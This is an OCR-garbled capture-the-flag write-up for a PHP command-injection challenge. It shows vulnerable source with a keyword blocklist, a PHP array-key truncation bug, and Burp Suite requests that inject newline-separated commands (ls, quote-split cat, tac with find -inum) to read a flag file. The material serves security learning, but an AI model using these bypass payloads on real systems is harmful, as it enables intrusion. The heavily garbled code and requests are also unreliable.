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Kali Linux Kali Training Kali Tools ¢ Kali Docs Kali Forums MetHunter || Offensive Security Exploit-DB GHDB || MSFU
<?php

§stuff = § POST["stuff"];
$array = ['admin', ‘'user'];
1f($stuff === $array && $stuff[0] != 'admin') {
$num= $ POST["num"];
if (preg match("/"\d+$/im", $num)){
if (!preg match("/sh|wget|nc|python|php|perl|\?|flag|}|cat]echo|[\*[\*|NT|INNAN] " N"IN]/1", $num) ) {
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight file(_FILE_ );

$_POST][
I;
if($stuff $array && $stuff[0]
$num=$_ POST] 1;
if (preg_match( ,$num)){
if (!preg_match( ,$num)){
echo
system( .$num);
telse{

echo

1
s

} else {
highlight_file(__FILE_);
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Burp Suite Community Edition v2020.6 - Temporary Project

Burp Project Intruder Repeater Window Help
[ Dashboard TTarget Proxy | Intruder T Repeater T Sequencer T Decoder T Comparer I Extender I Project options I User options ]
2
Send Cancel <|v > Target: http://220.249.52.134:46447 7 ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /HTTR/L.1 & 1 HTTP/1.1 200 0K A
2 Host: 220,249,52,134: 46447 r 2 Server: nginx/1. 4,56 (Ubuntu) i
3 User-agent: Mozilla/5.0(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 S Date: Thu, 14 Jan 2021 13: 04: 52 GMT
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 4 Content-Type: text/html
5 Accept-Language: en-US,en;g=0.5 S Connection: close
& Accept-Encoding: gzip. deflate & X-Powered-By: PHP/S.5.9-1ubuntud, 29
7 Connection: close 7 Conmtent-Length: 3132
& Cookie: PHPSESSID=b4caghoc1543c40d4d2fhfdbfoss26da 8
% Upgrade-Insecure-Requests: 1 =code>
10 Cache-Control: max-age=0 =span style="color: #000000" >
11 Content-Type: application/x-www-form-urlencoded 1 =span style="color: #0000BB">&Lt ; Pphp<br />
12 Content-Length: 34 =fspan=
1 <span style="color: #8FF000" >/ /php5.5, 9<hbr /=
14 stuff[o]=admin&stuff[l]=user&num=1 </span=
<span style="color: #0000BB" =§stuffénbsp;</span>
<span style="colar: #007700" >=&nbsp: </span=
<span style="color: #0000BB" >$_POST</span=
<span style="color: #007700"=[ </span=
<span style="color: #DDO00G">"stuff"</span>
=span style="color: #007700"=>] ; <br /= oA
=/span=>
<span style="color: #0000BB">$array&nbsp; </span>
<span style="color: #007700">=&nbsp; [ </span=>
<span style="color: #DD0000"="'admin'</span=
<span style="colar: #007700" >, &nbsp: </span=
<span style="color: #DDA0GA">' user' </span=
<span style="color: #007700"=] ; <br /=
ifl=/span=
=span style="color: #0000BE" >$stuff&nbsp; </span=>
=span style="color: #007700" >===&nbsp; =/span=>
=span style="color: #0000BE" >$array&nbsp; </span=>
<span style="color: 2007700"=&amp ; &amp; &nbsp; </span>
<span style="color: #0000BB" =§stuff</span=
<span style="color: #007700"=[ </span=
<span style="color: #0000BE" =0</span=
<span style="color: #007700"=] &nbsp: |=&nbsp;</span=
<span style="colar: #DDO0CE" =" admin'</span=
=span style="color: #007700">) &nbsp;{<br />
&nbsp; &nbsp; &nbsp; &nbsp; </span>
<span style="color: #0000BE" >$num</span> |-
k <span style="color: #007700" >=&nbsp; </span= v
v al ﬁ >
@{6} &J BJ Search 0 matches \n Pretty ®{§} &J w Search 0 matches || Pretty |
Done 3,321 bytes | 42 millis
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Bug #69892 Different arrays compare indentical due to integer key truncation
Submitted: 2015-06-20 14:29 UTC Modified: 2015-06-20 14:29 UTC
From: nikic@php.net Assigned: nikic (profile)
Status: Closed Package: Scripting Engine problem
PHP Version: 5.5.26 0S:
Private report: No CVE-ID: None

T View | | Add Comment Developer Edit

[2015-06-20 14:29 UTC] nikic@php.net

Description:

var_dump([® =» 8] === [@x100e0eeed => 0]); // bool(true)

on all versions: http://3v4l.org/5jdf8
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Burp Project Intruder Repeater Window Help

” Dashboard ITarget Proxy | Intruder T Repeater I Sequencer I Decoder I Comparer I Extender I Project options T User options }

.
Send Cancel < |* >|» Target: http://220.249.52.134:46447 7 ®

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render

1 POST / HTTP/1.1 s 1 HTTR/1.1 200 0K A
2 Host: 220,249,52,134; 45447 r 2 Server: nginx/1.4,6 (Ubuntu) r
5 User-Agent: Mozillas5.0Q (X11; Linux xB86_64; rv:68.0) Gecko/20100101 Firefox/68.0 % Date: Thu, 14 Jan 2021 13: 258:43 GMT

4 Accept: text/html,application/xhtml+xml, application/xml;g=0.9,%/*;q=0.8 4 Content-Type: text/html

5 Accept-Language: en-US,en;g=0.5 S Connection: close

G Accept-Encoding: gzip, deflate & X-Powered-By: PHP/5.5,9-1lubuntud, 29

7 Connection: close 7 Content-Length: 21

& Cookie: PHPSESSID=h4cash9cl543c40d4d2fhfdbfoss526da

9 Upgrade-Insecure-Requests: 1 my favorite numis:l

10 Cache-Control: max-age=0 1p
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 43

13

14 stufﬂ4294967296]=adm1n&5tuff[1]=usEr&num=1l

K ypreg_match()JJT )i 1/m, Wt EIT R 7 247 ILRS, PIAIS AL ILEC 775 8 (TS M5 2, REILEC — 1T T R AN4h
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[ Dashboard TTarget Proxy | Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]
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[ L Send J Cancel L < 'J >|v Target: http://220.249.52.134:46447 o (7)

Request Response
Raw ms | Headers | Hex Raw | Headers | Hex | Render
W 1 POST/HTTR/1.1 A 1 HTTP/1.12000K A
2 Host: 220,249 52 134: 46447 r 2 Server: nginx/1. 4.6 (Ubuntu) i
# 3 User-Agent: Mozilla/5.@ (¥11: Linux x86 64; rv:68.0) Gecko/20100101 Firefox/658.0 5 Date: Thu, 14 Jan 2021 13:38: 35 GMT
M 4 Accept: text/html,application/xhtml+xml,application/xml; g=0.9,*%/%;q=0.8 4 Content-Type: text/html
4= Accept-Language: en-US,en;g=0.5 5 Connection: close
WM © Accept-Encoding: gzip. deflate & X-Powered-By: PHP/5.5, 9-1ubuntud, 239
7 Connection: close 7 Content-Length: 111
& Cookie: PHPSESSID=b4cashSc1545c40d4d 2fhfdbfos526da B8
9 Upgrade-Insecure-Requests: 1 9 my favorite numis:1
10 Cache-Control: max-age=0 10 bin
11 Content-Type: application/x-www-form-urlencoded 11 boot
M1z Content-Length: 50 12 dew
13
14 stuff[4293967296]=adnin&stuff[ Ul =useranun=1%0als /|
16 lib
17 1ib&4
18 media
l 19 mnt
20 opt
21 proc
22 root
23 run
24 shin
25 srv
26 sys
27 tmp
28 usr
25 var
30
N o . o [T ENN [ N N ko \
KIflag, X HHSHsh wget nc python.. X8 EHE, whdid s 1 Seifishell, Fr DAE LG0T
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[Dashbnard TTarget Proxy | Intruder TRepeater TSequencer TDecuder TComparer TExtender TPrnje(tuptions TUseroptmns ]

1 = [2=

Send ancel < Target: http://220.249.52.134:46447 7 (3)

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST / HTTP/1.1 A 1 HTTR/1.1 200 0K A
2 Host: 220,249 .52.134: 46447 r 2 Server: nginx/1.4.6 (Ubuntu) r
3 User-Agent: MozillasS, 0 (¥11: Linux x86_64: rv:68,0) Gecko/20100101 Firefox/68.0 % Date: Thu, 14 Jan 2021 13: 45: 25 GMT
Accept: text/html,applications/xhtml+xml, application/xml ig=0.9,%/%;q=0.5 4 Content-Type: text/html
g

Accept -Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Connection: close
¥-Powered-By: PHP/5.5.9-1ubuntud. 29

Connection: close 7 Content-Length: 66

5 Cookie: PHPSESSID=b4casbhoc1543c40d4d2fbfdbfo3526da 8
Upgrade-Insecure-Requests: 1 o my favorite numis:1

o Cache-Control: max-age=0 10 cyberpeace{f&ccEed73beddbS55918d9a59e fhed&f}
Content -Type: application/x-www-form-urlencoded 11

2 Content-Length: 59

stuff[4294967296]=adnin&stuff[l]=user&num=1%0aca "t /fl ™ "ag
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[Dashbuard TTarget Proxy | Intruder IRepeatar TSequen:sr IDecoder TComparer IExtender IProje:toptmns TUser optiens ]

1 = ]2 =

Send ancel < Target: hitp://220.249.52.134:46447 7 (3)

Request sponse
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /HTTR/1.1 HTTP/1.1 200 0K

T
-
T

3]

Host: 220.249.52.134: 45447 2 Server: nginx/l.4.6 (Ubuntu)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Date: Thu, 14 Jan 2021 13:53: 47 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */#;q=0.8 Content-Type: text/html
Accept-Language: en-US,en;g=0.5 Connection: close
Accept-Encoding: gzip. deflate X-Powered-By: PHP/5.5.9-1ubuntud, 29
7 Connection: close Content -Length: 291

Cookie: PHPSESSID=h4casbac1543c40d4d2fbfdbfo3526da 8
Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
11 Content-Type: application/x-www-form-urlenceded
12 Content-Length: 53
13
14 stuffl4294967296]=adnin&stuff(l]=user&num=1%0als -1/

w
w

4

LS

my favorite numis:1
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20 31071192 opt

21 lproc

22 31071194 root
2% 31486142 run

24 31466109 shin
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Burp Project Intruder Repeater Window Help

[ Dashboard TTarget Proxy | Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

t Send Cancel < v Target: http://220.249.52.134:46447 @

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
“f 1 POST/HTTR/1.1 A 1 HTTP/1.12000K A
2 Host: 220, 249,52, 134; 45447 r 2 Server: nginx/1l. 4.6 (Ubuntul r
= = User-Agent: Mozilla/5.0 (¥11: Linux x86_64; rv:68,0) Gecko/20100101 Firefox/68.0 % Date: Thu, 14 Jan 2021 13:58:55 GMT
$ 4 Accept: text/html,application/xhtml+xnl,application/xml ;g=0.9, ¥ /#*;q=0,8 4 Content-Type: text/html
S Accept-Language: en-US,en;g=0.5 S Connectilon: close
o8 & Accept-Encoding: gzip, deflate & X-Powered-By: PHP/5.5,9-1ubuntu4, 29
7 Connection: close 7 Content-Length: 66
& Cookie: PHPSESSID=b4casb9c1543c40d4d2fhfdbfo3526da 8
9 Upgrade-Insecure-Requests: 1 9 my favorite numis:1
10 Cache-Control: max-age=0 10 cyberpeace{f6cc6ed73beddb558918d9as5sefhed&f}
11 Content-Type: application/x-www-form-urlencoded 11
112 content-Length: 72
13
14 stuff[ 4294967296 =admin&stuff[1]l=userénun=1%0atac “find / -inum 6947204"

SRR Iwp, getT X LAk, #Rids Rk,
FIH$1 M $@
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{ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options }

1 = [ 2=

Send cancel < v Target: http://220.249.52.134:46447 7 (7)

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /HTTP/L.1 A 1 HTTP/1.1 200 0K A
r r

Server: nginx/1. 4.6 (Ubuntu)

Date: Thu, 14 Jan 2021 14:05:17 GMT
Content-Type: text/html

o Connection: close

& X-Powered-By: PHP/S.5.9-1ubuntud. 29
Content-Length: 66

%)

Host: 220.249.52.134: 46447
User-Agent: Mozilla/5. 0 X11: Linux x86_64; rv:68,0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9, %/4;q=0 8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=b4cagb9cl543c40d4d2fbfdbfo3s26da

S Upgrade-Insecure-Reguests: 1

10 Cache-Control: max-age=0

11 Content-Type: application/x-www-form-urlencoded

12 Content-Length: 60
13

14 stuffl4294967296]=adnin&stufflllquser&anun=1%0acaflt /fl%lag

%)

w
w
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my favorite numis:1
cyberpeace{fecceed73beddb558918d9a59e fhedaf}
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[Dashbaard TTarget TProxy Tlntruder TRepeater T Sequencer T Decoder TComparer TEx‘tender T Project options TUser options ]

Target: http://220.249.52.134:46447 7 (2)

Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST fHTTR/1.1 A 1 HTTP/1.1 200 0K A
r r

Server: nginx/1.4.6 (Ubuntu)

Date: Thu, 14 Jan 2021 14: 06: 07 GMT
Content-Type: text /html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4d, 29
7 Content-Length: 66

¥

Host: 220.249,52,134: 46447

User-Agent: Mozilla/5.0 (X11; Linux x86_&4; rv:&8,0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,%/%;0=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=b4casbocl543c40d4d2fhfdbfosszeda

S Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0

11 Content-Type: application/x-www-form-urlencoded

12 Content-Length: 60

13

14 stuff(4294967296]=adnindstuff[1l]l=user&nun=1%0aca$@t /Flsekg
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my favorite numis:1
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Burp Project Intruder Repeater Window Help

[Dashboard TTarget TPraxy Ilntruder IRepeater TSequen(er TDe(oder TComparer TEmender TPrajectaptions TUseraptions ]

[ Jaw
Send

Target: hitp://220.249.52.134:46447 7 ()

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST fHTTR/1.1 A 1 HTTP/1.1 200 0K A
r r

[§)

Server: nginx/1l.4.6 (Ubuntu)
Date: Thu, 14 Jan 2021 14:07: 37 GHMT
Content-Type: text/html

2 Host: 220.249.52,134: 46447
3 User-Agent: Mozilla/5.0(¥11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/zhtml+xml,applications/xml;g=0.9,%/%;q=0.8
S Accept-lLanguage: en-US,en; g=0.5 Connection: close
& Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.9-lubuntu4, 29
7 Connection: close 7 Content-Length: 65
& Cookie: PHPSESSID=b4cash9cl543c40d4d2fbfdbfosszeda 8
% Upgrade-Insecure-Requests: 1 2 my favorite numis:1
10 Cache-Control: max-age=0 10 cyberpeace{f6ccEed73beddbs558918d9as9efbedaf}

w

N NN

11 Content-Type: application/x-www-form-urlencoded 11
12 Content-Length: 65
13

4 stuff[4294967296] =adningstuff[L]=usertnun=1%0aa=f1b=aq;tac /fasb|
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